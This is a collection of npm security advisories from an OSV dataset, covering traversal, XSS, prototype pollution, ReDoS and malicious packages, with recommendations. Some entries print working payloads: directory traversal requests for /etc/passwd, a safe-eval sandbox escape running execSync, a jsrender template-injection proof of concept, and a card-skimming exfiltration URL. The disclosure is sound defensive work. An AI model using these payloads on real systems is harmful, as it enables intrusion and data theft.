TQRG/raw-osv-data huggingface dataset:
Vulnerability: GHSA-86wf-436m-h424
Summary: Resource Exhaustion Denial of Service in http-proxy-agent 
Aliases: CVE-2019-10196
Severity: MODERATE
CWE: CWE-665
Published: 2022-01-06T20:30:13Z

A flaw was found in http-proxy-agent, prior to version 2.1.0. It was discovered http-proxy-agent passes an auth option to the Buffer constructor without proper sanitization. This could result in a Denial of Service through the usage of all available CPU resources and data exposure through an uninitialized memory leak in setups where an attacker could submit typed input to the auth parameter.
Vulnerability: GHSA-2mqv-4j3r-vjvp
Summary: Open redirect in @auth0/nextjs-auth0
Aliases: CVE-2021-43812
Severity: MODERATE
CWE: CWE-601
Published: 2021-12-16T18:52:21Z

### Overview

Versions `<=1.6.1` do not filter out certain `returnTo` parameter values from the login url, which expose the application to an open redirect vulnerability.

### Am I affected?
You are affected by this vulnerability if you are using `@auth0/nextjs-auth0` version `<=1.6.1`.

### How to fix that?
Upgrade to version `>=1.6.2`

### Will this update impact my users?
The fix provided in the patch will not affect your users.
Vulnerability: GHSA-j9wj-26p5-fj2v
Summary: Directory Traversal in gaoxuyan
Aliases: CVE-2017-16153
Severity: HIGH
CWE: CWE-22
Published: 2020-09-01T17:17:29Z

Affected versions of `gaoxuyan` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.

Example request:
```
GET /../../../../../../../../../../etc/passwd HTTP/1.1
host:foo
```


## Recommendation

No patch is available for this vulnerability.

It is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.
Vulnerability: GHSA-hx7j-43w2-7rj7
Summary: Prototype pollution in nconf-toml
Aliases: CVE-2021-25946
Severity: CRITICAL
CWE: CWE-1321
Published: 2021-06-07T22:12:13Z

Prototype pollution vulnerability in `nconf-toml` versions 0.0.1 through 0.0.2 allows an attacker to cause a denial of service and may lead to remote code execution.
Vulnerability: GHSA-7r96-8g3x-g36m
Summary: Improper Verification of Cryptographic Signature
Severity: CRITICAL
CWE: CWE-347
Published: 2021-06-28T17:16:56Z

### Impact
The `verifyWithMessage` method of `tEnvoyNaClSigningKey` always returns `true` for any signature of a SHA-512 hash matching the SHA-512 hash of the message even if the signature is invalid.

### Patches
Upgrade to `v7.0.3` immediately to resolve this issue. Since the vulnerability lies within the verification method, the previous signatures are still valid. We highly recommend reverifying any signatures that were previously verified with the vulnerable `verifyWithMessage` method.

### Workarounds
In `tenvoy.js` under the `verifyWithMessage` method definition within the `tEnvoyNaClSigningKey` class, ensure that the return statement call to `this.verify` ends in `.verified`. For example, the return statement should start with `return this.verify(signed, password).verified && ` instead of `return this.verify(signed, password) && `.

### For more information
If you have any questions or comments about this advisory:
* Open an issue in [github.com/TogaTech/tEnvoy](https://github.com/TogaTech/tEnvoy)
Vulnerability: GHSA-mc84-xr9p-938r
Summary: High severity vulnerability that affects generator-jhipster
Severity: HIGH
CWE: CWE-829, CWE-494
Published: 2019-09-23T18:31:05Z

## Generated code uses repository configuration that downloads over HTTP instead of HTTPS

### Impact
Gradle users were using the http://repo.spring.io/plugins-release repositories in plain HTTP, and not HTTPS, so a man-in-the-middle attack was possible at build time.

### Patches

Maven users should at least upgrade to 6.3.0 while Gradle users should update to 6.3.1.
If you are not able to upgrade make sure not to use a Maven repository via `http` in your build file.

### Workarounds

Replace all custom repository definitions in `build.gradle` or `pom.xml` with their `https` version.

e.g.

```xml
 <repository>
            <id>oss.sonatype.org-snapshot</id>
            <url>https://oss.sonatype.org/content/repositories/snapshots</url> // <-- must be httpS
            <releases>
                <enabled>false</enabled>
            </releases>
            <snapshots>
                <enabled>true</enabled>
            </snapshots>
</repository>
```

```gradle
maven { url "https://repo.spring.io/plugins-release" } // <-- must be httpS
```

### References
* https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
* https://max.computer/blog/how-to-take-over-the-computer-of-any-java-or-clojure-or-scala-developer/

### For more information
If you have any questions or comments about this advisory:
* Open an issue in [https://github.com/jhipster/generator-jhipster/issues](https://github.com/jhipster/generator-jhipster/issues)
Vulnerability: GHSA-2hwp-g4g7-mwwj
Summary: Reflected Cross-Site Scripting in jquery.terminal
Severity: MODERATE
CWE: CWE-79
Published: 2019-05-29T20:25:35Z

Versions of `jquery.terminal` prior to 1.21.0 are vulnerable to Reflected Cross-Site Scripting. If the application has either of the options `anyLinks` or `invokeMethods` set to true, the application may execute arbitrary JavaScript through crafted malicious payloads due to insufficient sanitization.


## Recommendation

Upgrade to version 1.21.0 or later
Vulnerability: GHSA-rvg8-pwq2-xj7q
Summary: Out-of-bounds Read in base64url
Severity: MODERATE
CWE: CWE-125
Published: 2020-09-01T20:42:44Z

Versions of `base64url` before 3.0.0 are vulnerable to to out-of-bounds reads as it allocates uninitialized Buffers when number is passed in input on Node.js 4.x and below.


## Recommendation

Update to version 3.0.0 or later.
Vulnerability: GHSA-c56f-grv3-gpfr
Summary: Regular expression denial of service in forms
Aliases: CVE-2021-23388
Severity: MODERATE
CWE: CWE-400
Published: 2021-06-07T22:10:13Z

The package forms before 1.3.2 are vulnerable to Regular Expression Denial of Service (ReDoS) via email validation.
Vulnerability: GHSA-4hfc-fv33-ph9p
Summary: Malicious Package in sj-tw-abc
Severity: CRITICAL
CWE: CWE-506
Published: 2020-09-03T23:26:33Z

All versions of `sj-tw-abc` contain malicious code. The package downloads and runs a script that opens a reverse shell in the system.


## Recommendation

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.

The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Vulnerability: GHSA-65q2-x652-xx84
Summary: Downloads Resources over HTTP in dalek-browser-ie
Aliases: CVE-2016-10605
Severity: HIGH
CWE: CWE-311
Published: 2019-02-18T23:50:04Z

Affected versions of `dalek-browser-ie` insecurely download an executable over an unencrypted HTTP connection. 

In scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `dalek-browser-ie`.


## Recommendation

No patch is currently available for this vulnerability, and the package author has marked the package as deprecated.

The best mitigation is currently to avoid using this package, using a different package if available. 

Alternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.
Vulnerability: GHSA-jgrh-5m3h-9c5f
Summary: Web Cache Poisoning in find-my-way
Aliases: CVE-2020-7764
Severity: MODERATE
CWE: CWE-444
Published: 2020-11-09T22:17:13Z

This affects the package find-my-way before 2.2.5, from 3.0.0 and before 3.0.5. It accepts the Accept-Version' header by default, and if versioned routes are not being used, this could lead to a denial of service. Accept-Version can be used as an unkeyed header in a cache poisoning attack.
Vulnerability: GHSA-jvfv-jhw9-jmpp
Summary: Malicious Package in b5ffer-xor
Severity: CRITICAL
CWE: CWE-506
Published: 2020-09-03T21:23:09Z

Version 2.0.2 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.


## Recommendation

Remove the package from your environment. Ensure no Ethereum funds were compromised.
Vulnerability: GHSA-8j36-q8x7-pm6q
Summary: OS Command Injection in systeminformation
Aliases: CVE-2020-7778
Severity: HIGH
CWE: CWE-78
Published: 2022-02-09T23:14:11Z

This affects the package systeminformation before 4.30.2. The attacker can overwrite the properties and functions of an object, which can lead to executing OS commands.
Vulnerability: GHSA-x6wp-rfwh-hcx7
Summary: Regular Expression Denial of Service in content
Aliases: CVE-2017-16111
Severity: HIGH
CWE: CWE-400
Published: 2018-07-24T19:55:05Z

Affected versions of `content` are vulnerable to a regular expression denial of service when parsing malicious `Content-Type` and `Content-Disposition` headers.


## Recommendation

Update to version 3.0.6 or later.
Vulnerability: GHSA-39pj-gq8q-9pfj
Summary: Authentication Weakness in keystone
Aliases: CVE-2015-9240
Severity: HIGH
CWE: CWE-1255
Published: 2018-06-07T19:43:20Z

Versions of `keystone` prior to 0.3.16 are affected by a partial authentication bypass vulnerability. In the default sign in functionality, if an attacker provides a full and correct password, yet only provides part of the associated email address, authentication will be granted.


## Recommendation

Update to version 0.3.16 or later.
Vulnerability: GHSA-9mrq-cjgh-32g2
Summary: Low severity vulnerability that affects smartbanner.js
Severity: LOW
Published: 2019-09-13T13:22:33Z

## rel noopener vulnerability

### Impact
Clicking on smartbanner _View_ link and navigating to 3rd party page leaves `window.opener` exposed. It may allow hostile 3rd parties to abuse `window.opener`, e.g. by redirection or injection on the original page with smartbanner.

### Patches
`rel="noopener"` is automatically populated to links as of `v1.14.1` which is a recommended upgrade to resolve the vulnerability.

### Workarounds
If you can not upgrade to `v1.14.1`:
1. Ensure _View_ link is only taking users to App Store or Google Play Store where security is guarded by respective app store security teams
2. If _View_ link is going to a 3rd party page, limit smartbanner.js to be used on iOS that decreases the scope of the vulnerability since as of Safari 12.1,  `rel="noopener"` is imposed on all `target="_blank"` links.

    Following combination of smartbanner meta tags can be used to achieve the above:

    ```html
    <meta name="smartbanner:enabled-platforms" content="none">
    <meta name="smartbanner:include-user-agent-regex" content="Mobile.*Safari">
    ```

### References
* [About rel=noopener](https://mathiasbynens.github.io/rel-noopener/)
* [Safari 12.1 Release Notes](https://developer.apple.com/documentation/safari_release_notes/safari_12_1_release_notes#3130296)

### For more information
If you have any questions or comments about this advisory:
* Open an issue in [smartbanner.js](https://github.com/ain/smartbanner.js/issues/new)
Vulnerability: GHSA-jchg-g94r-64qg
Summary: Malicious Package in mogobd
Severity: CRITICAL
CWE: CWE-506
Published: 2020-09-03T19:50:10Z

This package contained malicious code. The package uploaded system information such as OS and hostname to a remote server.


## Recommendation

Remove the package from your environment. There are no indications of further compromise.
Vulnerability: GHSA-4wcx-c9c4-89p2
Summary: Malicious Package in react-datepicker-plus
Severity: CRITICAL
CWE: CWE-506
Published: 2020-09-11T21:23:30Z

Versions 2.4.3 and 2.4.2 of `react-datepicker-plus` contained malicious code. The code when executed in the browser would enumerate password, cvc and cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`



## Recommendation

Remove the package from your environment and evaluate your application to determine whether or not user data was compromised.
Vulnerability: GHSA-vjcj-5g2r-vxqc
Summary: Moderate severity vulnerability that affects editor.md
Aliases: CVE-2018-16330
Severity: MODERATE
CWE: CWE-79
Published: 2018-09-06T03:22:00Z

Pandao Editor.md 1.5.0 allows XSS via crafted attributes of an invalid IMG element.
Vulnerability: GHSA-9pcf-h8q9-63f6
Summary: Sandbox Breakout / Arbitrary Code Execution in safe-eval
Severity: HIGH
Published: 2020-09-03T17:12:41Z

All versions of `safe-eval` are vulnerable to Sandbox Escape leading to Remote Code Execution. A payload chaining a function's callee and caller constructors can escape the sandbox and execute arbitrary code.  

For example, the payload 
```
((() => { 
const targetKey = Object.keys(this)[0]; 
Object.defineProperty(this, targetKey, { 
get: function() { 
return arguments.callee.caller.constructor( 
"return global.process.mainModule.require('child_process').execSync('pwd').toString()" 
)(); 
} 
}); 
})();```
may be used to print the `pwd` to the console.


## Recommendation

No fix is currently available. Consider using an alternative package until a fix is made available.
Vulnerability: GHSA-8hqw-qp6r-vqcm
Summary: Malicious Package in bitcoin-sweep
Severity: CRITICAL
CWE: CWE-506
Published: 2020-09-04T16:40:00Z

All versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.


## Recommendation

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.

The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Vulnerability: GHSA-hvxq-j2r4-4jm8
Summary: Regular Expression Denial of Service in sql-injection
Severity: HIGH
Published: 2020-09-03T20:31:04Z

All versions of `sql-injection` are vulnerable to Regular Expression Denial of Service. The package processes a request's body with regular expressions that may take exponentially longer to execute for large inputs.


## Recommendation

No fix is currently available. Consider using an alternative package until a fix is made available.
Vulnerability: GHSA-j3rh-8vwq-wh84
Summary: Use of Cryptographically Weak Pseudo-Random Number Generator in JHipster Kotlin
Aliases: CVE-2019-16303
Severity: CRITICAL
CWE: CWE-338
Published: 2020-06-26T16:48:13Z

JHipster Kotlin is using an insecure source of randomness to generate all of it's random values. JHipster Kotlin relies upon apache commons lang3 `RandomStringUtils`.

From the documentation:

> Caveat: Instances of Random, upon which the implementation of this class relies, are not cryptographically secure.
> \- https://commons.apache.org/proper/commons-lang/javadocs/api-3.9/org/apache/commons/lang3/RandomStringUtils.html

Here are the examples of JHipster Kotlin'ss use of an insecure PRNG:

https://github.com/jhipster/jhipster-kotlin/blob/193ae8f13c0be686f9687e78bacfedb144c47d8c/generators/server/templates/src/main/kotlin/package/service/util/RandomUtil.kt.ejs#L32

## Proof Of Concepts Already Exist

There has been a POC of taking one RNG value generated `RandomStringUtils` and reversing it to generate all of the past/future RNG values public since March 3rd, 2018.

https://medium.com/@alex91ar/the-java-soothsayer-a-practical-application-for-insecure-randomness-c67b0cd148cd

POC Repository: https://github.com/alex91ar/randomstringutils


## Potential Impact Technical

All that is required is to get one password reset token from a JHipster Kotlin generated service and using the POC above, you can reverse what all future password reset tokens to be generated by this server. This allows an attacker to pick and choose what account they would like to takeover by sending account password reset requests for targeted accounts.

## Potential Impact Scale

Not as large as for the original jhipster project as the kotlin blueprint is not that widely used.

### Patches

Update your generated applications to > 1.2.0

### Workarounds

Change the content of `RandomUtil.kt` like this:

```kotlin
import java.security.SecureRandom
import org.apache.commons.lang3.RandomStringUtils

private const val DEF_COUNT = 20

object RandomUtil {
    private val secureRandom: SecureRandom = SecureRandom()

    init {
        secureRandom.nextBytes(byteArrayOf(64.toByte()))
    }

    private fun generateRandomAlphanumericString(): String {
        return RandomStringUtils.random(DEF_COUNT, 0, 0, true, true, null, secureRandom)
    }

    /**
    * Generate a password.
    *
    * @return the generated password.
    */
    fun generatePassword(): String = generateRandomAlphanumericString()
}
```

Important is to exchange **every** call of `RandomStringUtils.randomAlphaNumeric`.



### For more information

If you have any questions or comments about this advisory:
* Open an issue in [JHipster Kotlin](https://github.com/jhipster/jhipster-kotlin)
Vulnerability: GHSA-j88m-953w-8r2c
Summary: Moderate severity vulnerability that affects rendertron
Aliases: CVE-2017-18352
Severity: MODERATE
CWE: CWE-79
Published: 2019-01-07T19:14:21Z

Error reporting within Rendertron 1.0.0 allows reflected Cross Site Scripting (XSS) from invalid URLs.
Vulnerability: GHSA-gmch-cm2p-9qw9
Summary: Cross-site Scripting in lightning-server
Aliases: CVE-2020-7747
Severity: MODERATE
CWE: CWE-79
Published: 2021-05-10T18:39:15Z

This affects all versions of package lightning-server. It is possible to inject malicious JavaScript code as part of a session controller.
Vulnerability: GHSA-h466-j336-74wx
Summary: Prototype Pollution in mpath
Aliases: CVE-2018-16490
Severity: MODERATE
CWE: CWE-400
Published: 2019-02-07T18:17:26Z

Versions of `mpath` before 0.5.1 are vulnerable to prototype pollution. Provided certain input `mpath` can add or modify properties of the `Object` prototype. These properties will be present on all objects.


## Recommendation

Update to version `0.5.1` or later.
Vulnerability: GHSA-6r7x-hc8m-985r
Summary: Cross-site Scripting in Joplin
Aliases: CVE-2020-9038
Severity: MODERATE
CWE: CWE-79
Published: 2020-10-13T17:29:25Z

Joplin through 1.0.184 allows Arbitrary File Read via Cross-site Scripting (XSS).
Vulnerability: GHSA-92qm-hc53-jjrj
Summary: Downloads Resources over HTTP in ibapi
Aliases: CVE-2016-10593
Severity: HIGH
CWE: CWE-269, CWE-311
Published: 2019-02-18T23:34:17Z

Affected versions of `ibapi` insecurely download an executable over an unencrypted HTTP connection. 

In scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `ibapi`.


## Recommendation

No patch is currently available for this vulnerability.

The best mitigation is currently to avoid using this package, using a different package if available. 

Alternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.
Vulnerability: GHSA-78j5-gcmf-vqc8
Summary: Cross-Site Scripting (XSS) in Verdaccio
Aliases: CVE-2019-14772
Severity: MODERATE
CWE: CWE-79
Published: 2019-05-29T18:02:59Z

### Impact
What kind of vulnerability is it? Who is impacted?

Cross-Site Scripting XSS, malicious packages with content Javascript that might be executed in the User Interface stealing user credentials. 

### Patches
Has the problem been patched? What versions should users upgrade to?

Users that still using `v3` must upgrade to **>3.12.0** or those have no problem to migrate to a major version **>=4.0.0** also fix the issue.

### Workarounds
Is there a way for users to fix or remediate the vulnerability without upgrading?

No, the users must update.

### References
Are there any links users can visit to find out more?

https://www.npmjs.com/advisories/832
https://www.npmjs.com/advisories/833

The issue was reported by the NPMJS Security Team

### For more information
If you have any questions or comments about this advisory:
* Read the Security Policy to find the ways to be in contact with us.
Vulnerability: GHSA-rrvm-gqq8-q2wx
Summary: Malicious Package in require-port
Severity: CRITICAL
CWE: CWE-506
Published: 2020-09-03T21:05:26Z

Version 1.0.0 of `require-port` contains malicious code as a preinstall script. The package is malware designed to take advantage of users making a mistake when typing the name of a module to install. When installed, the package downloads a file from a remote server, executes it and opens a backdoor.


## Recommendation

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.

The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Vulnerability: GHSA-9gqh-q4cx-f2h9
Summary: Downloads Resources over HTTP in ipip
Aliases: CVE-2016-10594
Severity: HIGH
CWE: CWE-269, CWE-311
Published: 2019-02-18T23:50:41Z

Affected versions of `ipip` insecurely downloads resources over HTTP. 

In scenarios where an attacker has a privileged network position, they can modify or read such resources at will. While the exact severity of impact for a vulnerability like this is highly variable and depends on the behavior of the package itself, it ranges from being able to read sensitive information all the way up to and including remote code execution.


## Recommendation

No patch is currently available for this vulnerability, and the README states that the package is deprecated.

The best mitigation is currently to avoid using this package, using a different package if available. 

Alternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.
Vulnerability: GHSA-wfp9-vr4j-f49j
Summary: NoSQL Injection in sequelize
Severity: HIGH
CWE: CWE-89
Published: 2019-06-04T20:04:27Z

Versions of `sequelize` prior to 4.12.0 are vulnerable to NoSQL Injection. Query operators such as `$gt` are not properly sanitized and may allow an attacker to alter data queries, leading to NoSQL Injection.


## Recommendation

Upgrade to version 4.12.0 or later
Vulnerability: GHSA-qh38-wrgf-cj2c
Summary: Directory Traversal in iter-server
Aliases: CVE-2017-16183
Severity: HIGH
CWE: CWE-22
Published: 2020-09-01T18:48:05Z

Affected versions of `iter-server` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.

Example request:
```
GET /../../../../../../../../../../etc/passwd HTTP/1.1
host:foo
```


## Recommendation

No patch is available for this vulnerability.

It is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.
Vulnerability: GHSA-vcqg-cmv3-wj57
Summary: Directory Traversal in rtcmulticonnection-client
Aliases: CVE-2017-16125
Severity: HIGH
CWE: CWE-22, CWE-12
Published: 2018-07-23T22:48:49Z

Affected versions of `rtcmulticonnection-client` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.

Example request:
```
GET /../../../../../../../../../../etc/passwd HTTP/1.1
host:foo
```


## Recommendation

No patch is available for this vulnerability.

It is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.
Vulnerability: GHSA-h4j5-c7cj-74xg
Summary: Arbitrary Code Injection
Aliases: CVE-2020-28502
Severity: HIGH
CWE: CWE-94
Published: 2021-05-04T18:02:34Z

This affects the package xmlhttprequest before 1.7.0; all versions of package xmlhttprequest-ssl. Provided requests are sent synchronously (async=False on xhr.open), malicious user input flowing into xhr.send could result in arbitrary code being injected and run.
Vulnerability: GHSA-8fv7-vm2p-5495
Summary: Directory Traversal in welcomyzt
Aliases: CVE-2017-16123
Severity: HIGH
CWE: CWE-22
Published: 2020-09-01T17:23:53Z

`welcomyzt` is a simple file server.

`welcomyzt` is vulnerable to a directory traversal issue, giving an attacker access to the filesystem by placing "../" in the url.

Example Request:
```
GET /../../../../../../../../../../etc/passwd HTTP/1.1
host: localhost
```
 and server Response:
```
HTTP/1.1 200 OK
Date: Thu, 04 May 2017 23:59:18 GMT
Connection: keep-alive
Transfer-Encoding: chunked

{contents of /etc/passwd}
```


## Recommendation

No patch is available for this vulnerability.

It is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.
Vulnerability: GHSA-5mm9-55c9-p5r7
Summary: Malicious Package in mogoose
Severity: CRITICAL
CWE: CWE-506
Published: 2020-09-03T19:53:31Z

This package contained malicious code. The package uploaded system information such as OS and hostname to a remote server.


## Recommendation

Remove the package from your environment. There are no indications of further compromise.
Vulnerability: GHSA-r87w-47m8-22w3
Summary: Template Injection in jsrender
Aliases: CVE-2016-3942
Severity: MODERATE
CWE: CWE-94
Published: 2020-09-01T15:24:24Z

Affected versions of `jsrender` are susceptible to a remote code execution vulnerability when used with server delivered client-side tempates which dynamically embed user input.

## Proof of Concept


```
<POC-REQUEST>
{{for ~x!=1?(constructor.constructor("return arguments.callee.caller")()):~y(10)}}
{{:#data}}
{{/for}}
</POC-REQUEST>
```

```
<POC-RESPONSE>
function anonymous(data,view,j,u) { // template var v,t=j._tag,ret="" +t("for",view,this,[ {view:view,tmpl:1, params:{args:['~x!=1?(constructor.constructor(\"return arguments.callee.caller\")()):~y(10)']}, args:[view.hlp("x")!=1?(data.constructor.constructor("return arguments.callee.caller")()):view.hlp("y")(10)], props:{}}]); return ret; } 
<POC-RESPONSE>
```


## Recommendation

Update to version 0.9.74 or later.
Vulnerability: GHSA-j4rw-x3vg-c8r7
Summary: Prototype Pollution in node-oojs
Aliases: CVE-2020-7721
Severity: CRITICAL
CWE: CWE-1321
Published: 2021-05-06T18:12:37Z

All versions of package node-oojs up to and including version 1.4.0 are vulnerable to Prototype Pollution via the setPath function.
Vulnerability: GHSA-m8cr-q935-8j67
Summary: Path Traversal in buttle
Aliases: CVE-2018-3766
Severity: HIGH
CWE: CWE-22
Published: 2018-09-18T13:47:57Z

All versions of `buttle` are vulnerable to Path Traversal.  Due to insufficient input sanitization, attackers can access server files by using relative paths when fetching files. 


## Recommendation

No fix is currently available. Consider using an alternative module until a fix is made available.
Vulnerability: GHSA-84cm-v6jp-gjmr
Summary: OS command injection in git-diff-apply
Aliases: CVE-2019-10776
Severity: CRITICAL
CWE: CWE-78
Published: 2020-02-14T23:09:24Z

In "index.js" file line 240, the run command executes the git command with a user controlled variable called remoteUrl. This affects git-diff-apply all versions prior to 0.22.2.
Vulnerability: GHSA-v5v3-8jqf-vg27
Summary: Downloads Resources over HTTP in aerospike
Aliases: CVE-2016-10558
Severity: HIGH
CWE: CWE-311
Published: 2019-02-18T23:54:22Z

Affected versions of `aerospike` insecurely download an executable over an unencrypted HTTP connection. 

In scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `aerospike`.


## Recommendation

Update to version 2.4.2 or later
Vulnerability: GHSA-hg7w-2pf7-mxm2
Summary: Malicious Package in wbe3
Severity: CRITICAL
CWE: CWE-506
Published: 2020-09-03T17:02:31Z

All versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.


## Recommendation

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.

The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Vulnerability: GHSA-72p5-2r6g-fm6v
Summary: Moderate severity vulnerability that affects total.js
Aliases: CVE-2019-10260
Severity: MODERATE
CWE: CWE-79
Published: 2019-04-02T15:46:52Z

Total.js CMS 12.0.0 has XSS related to themes/admin/views/index.html (item.message) and themes/admin/public/ui.js (column.format).
Vulnerability: GHSA-q4h9-46xg-m3x9
Summary: UUPSUpgradeable vulnerability in @openzeppelin/contracts-upgradeable
Severity: CRITICAL
Published: 2021-09-15T20:22:13Z

### Impact

Upgradeable contracts using `UUPSUpgradeable` may be vulnerable to an attack affecting uninitialized implementation contracts. We will update this advisory with more information soon.

### Patches

A fix is included in version 4.3.2 of `@openzeppelin/contracts` and `@openzeppelin/contracts-upgradeable`.

### Workarounds

Initialize implementation contracts using `UUPSUpgradeable` by invoking the initializer function (usually called `initialize`). An example is provided [in the forum](https://forum.openzeppelin.com/t/security-advisory-initialize-uups-implementation-contracts/15301).

### References

A post-mortem will be published in a few days in the [OpenZeppelin Forum](https://forum.openzeppelin.com/).

### For more information

If you have any questions or comments about this advisory, or need assistance executing the mitigation, email us at security@openzeppelin.com.
Vulnerability: GHSA-vp93-gcx5-4w52
Summary: Cross-Site Scripting in swagger-ui
Severity: MODERATE
CWE: CWE-79
Published: 2020-09-11T21:21:19Z

Versions of `swagger-ui` prior to 2.2.1 are vulnerable to Cross-Site Scripting (XSS). The package fails to sanitize JSON schemas, allowing attackers to execute arbitrary JavaScript using `<script>` tags in the method descriptions.


## Recommendation

Upgrade to version 2.2.1 or later.
Vulnerability: GHSA-wqfc-cr59-h64p
Summary: Missing Encryption of Sensitive Data in yarn
Aliases: CVE-2019-5448
Severity: HIGH
CWE: CWE-319, CWE-311
Published: 2019-07-31T04:22:15Z

Yarn before 1.17.3 is vulnerable to Missing Encryption of Sensitive Data due to HTTP URLs in lockfile causing unencrypted authentication data to be sent over the network.
Vulnerability: GHSA-x2jc-pwfj-h9p3
Summary: SQL Injection in sequelize
Aliases: CVE-2016-10554
Severity: MODERATE
CWE: CWE-89
Published: 2019-02-18T23:54:28Z

Affected versions of `sequelize` use MySQL's backslash-based escape syntax when connecting to SQLite, despite the fact that SQLite uses PostgreSQL's escape syntax, which can result in a SQL Injection vulnerability.


## Recommendation

Update to version 1.7.0-alpha3 or later.
Vulnerability: GHSA-6g33-f262-xjp4
Summary: Cryptographically Weak PRNG in randomatic
Aliases: CVE-2017-16028
Severity: LOW
CWE: CWE-330
Published: 2018-10-09T00:57:21Z

Affected versions of `randomatic` generate random values using a cryptographically weak psuedo-random number generator. This may result in predictable values instead of random values as intended.




## Recommendation

Update to version 3.0.0 or later.
Vulnerability: GHSA-mqgv-67vx-g4m5
Summary: Prototype Pollution in js-data
Aliases: CVE-2020-28442
Severity: HIGH
CWE: CWE-1321
Published: 2022-02-09T22:45:52Z

All versions of package js-data prior to 3.0.10 are vulnerable to Prototype Pollution via the deepFillIn function.
Vulnerability: GHSA-22q9-hqm5-mhmc
Summary: Cross-Site Scripting in swagger-ui
Severity: MODERATE
CWE: CWE-79
Published: 2020-09-11T21:22:24Z

Versions of `swagger-ui` prior to 2.2.1 are vulnerable to Cross-Site Scripting (XSS). The package fails to encode output in GET requests. The request is meant to respond with Content-Type `application/json` which does not trigger the vulnerability but if the web server changes the header to `text/html` it may allow attackers to execute arbitrary JavaScript.


## Recommendation

Upgrade to version 2.2.1 or later.
Vulnerability: GHSA-fx6f-fpfv-5hmc
Summary: Malicious Package in uploader-plugin
Severity: CRITICAL
Published: 2020-09-03T19:10:12Z

Version 1.0.2 of `uploader-plugin` contained malicious code. The code when executed in the browser would enumerate password, cvc, cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`



## Recommendation

Remove the package from your environment. It's also recommended to evaluate your application to determine whether or not user data was compromised.
Vulnerability: GHSA-m794-qv59-gj7c
Summary: Malicious Package in signqle
Severity: CRITICAL
CWE: CWE-506
Published: 2020-09-03T17:03:22Z

All versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.


## Recommendation

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.

The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Vulnerability: GHSA-747p-jfqv-f43r
Summary: Downloads Resources over HTTP in mystem3
Aliases: CVE-2016-10626
Severity: HIGH
CWE: CWE-311
Published: 2019-02-18T23:47:26Z

Affected versions of `mystem3` insecurely download an executable over an unencrypted HTTP connection. 

In scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `mystem3`.


## Recommendation

Update to version 1.0.8 or later.
Vulnerability: GHSA-m34x-wgrh-g897
Summary: Directory traversal vulnerability in Next.js
Aliases: CVE-2018-6184
Severity: HIGH
CWE: CWE-22
Published: 2018-01-24T19:38:52Z

Next.js 4 before 4.2.3 has Directory Traversal under the `/_next` request namespace.
Vulnerability: GHSA-f5c9-x9j6-87qp
Summary: Prototype pollution in dotty
Aliases: CVE-2021-25912
Severity: MODERATE
CWE: CWE-400
Published: 2021-02-05T20:43:08Z

Prototype pollution vulnerability in 'dotty' before version 0.1.1 allows attackers to cause a denial of service and may lead to remote code execution.
Vulnerability: GHSA-49wp-qq6x-g2rf
Summary: Cross-site Request Forgery in fastify-csrf
Aliases: CVE-2020-28482
Severity: MODERATE
CWE: CWE-352
Published: 2021-01-20T21:30:34Z

The package fastify-csrf before 3.0.0 has a set of issues that affect its ability to do CSRF protection.
1. The generated cookie used insecure defaults, and did not have the httpOnly flag on: `cookieOpts: { path: '/', sameSite: true }`
2. The CSRF token was available in the GET query parameter
Vulnerability: GHSA-rgx6-rjj4-c388
Summary: Cross-site Scripting in ckeditor4
Aliases: CVE-2021-33829
Severity: MODERATE
CWE: CWE-79
